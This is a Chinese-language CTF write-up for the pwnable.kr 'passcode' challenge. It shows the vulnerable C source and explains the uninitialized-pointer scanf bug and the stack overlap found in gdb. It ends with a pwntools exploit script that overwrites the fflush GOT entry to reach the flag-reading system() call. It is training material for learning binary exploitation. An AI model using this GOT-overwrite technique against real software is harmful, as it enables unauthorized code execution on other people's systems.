概述题目
题目描述连接信息基本信息获取查看程序加固措施查看源代码源代码分析gdb分析利用代码
概述pwnable是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是passcode,主要考察的是函数scanf()的知识点。
题目 题目描述题目提示 C代码已经编译完成且没有错误,但有告警信息,题目连接信息为ssh passcode@pwnable.kr -p2222 (pw:guest)
连接信息通过ssh连接目标
使用file查看基本信息
直接运行程序
checksec passcode Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)查看源代码
#include源代码分析#include void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!n"); system("/bin/cat flag"); } else{ printf("Login Failed!n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)n"); return 0; }
程序本意是执行 welcome()和login()函数,在login()中进行passcode1和passcode2的判断,如果符合要求,打印flag。
但是scanf()中少了&,造成的结果是把passcode变量当做指针,因此在编译时产生了告警。
由于少了取地址符号&,可以以passcode值寻址到的内存地址进行覆盖。
gdb分析查看主函数
查看welcome(),发现name参数地址ebp - 0x70
查看login(),发现passcode1在ebp-0x10,passcode2在ebp-0xc
主函数main()对welcome()和login()进行了连续调用,这就隐含了它们的ebp是相同的。通过计算,name(ebp - 0x70)和passcode1(ebp-0x10)相差0x60(即96个)字节,所以name(长度100个字节)最后4个字节正好可以覆盖到passcode1,但无法覆盖passcode2。
因此要能查看flag,只能跳过if语句的判定,直接执行system()函数。
可以看到在login()中,执行scanf()后执行fflush()函数,可以通过name变量覆盖,将passcode1的值改为fflush()函数的地址,在接下来执行login()时,fflush()函数的地址的值,通过scanf()被赋值为system地址,实行执行查看flag的命令。
找到fflush()的got表项地址
找到system()地址
from pwn import * import pretty_errors context.log_level = 'info' session = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222) offset = 96 fflush_addr = 0x0804a004 system_addr = 0x080485e3 payload = b'A' * offset + p32(fflush_addr) p = session.process('./passcode') p.sendlineafter('enter you name :', payload) p.sendlineafter('enter passcode1 :', str(system_addr)) result = p.recvall() success(result.decode()) p.close()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)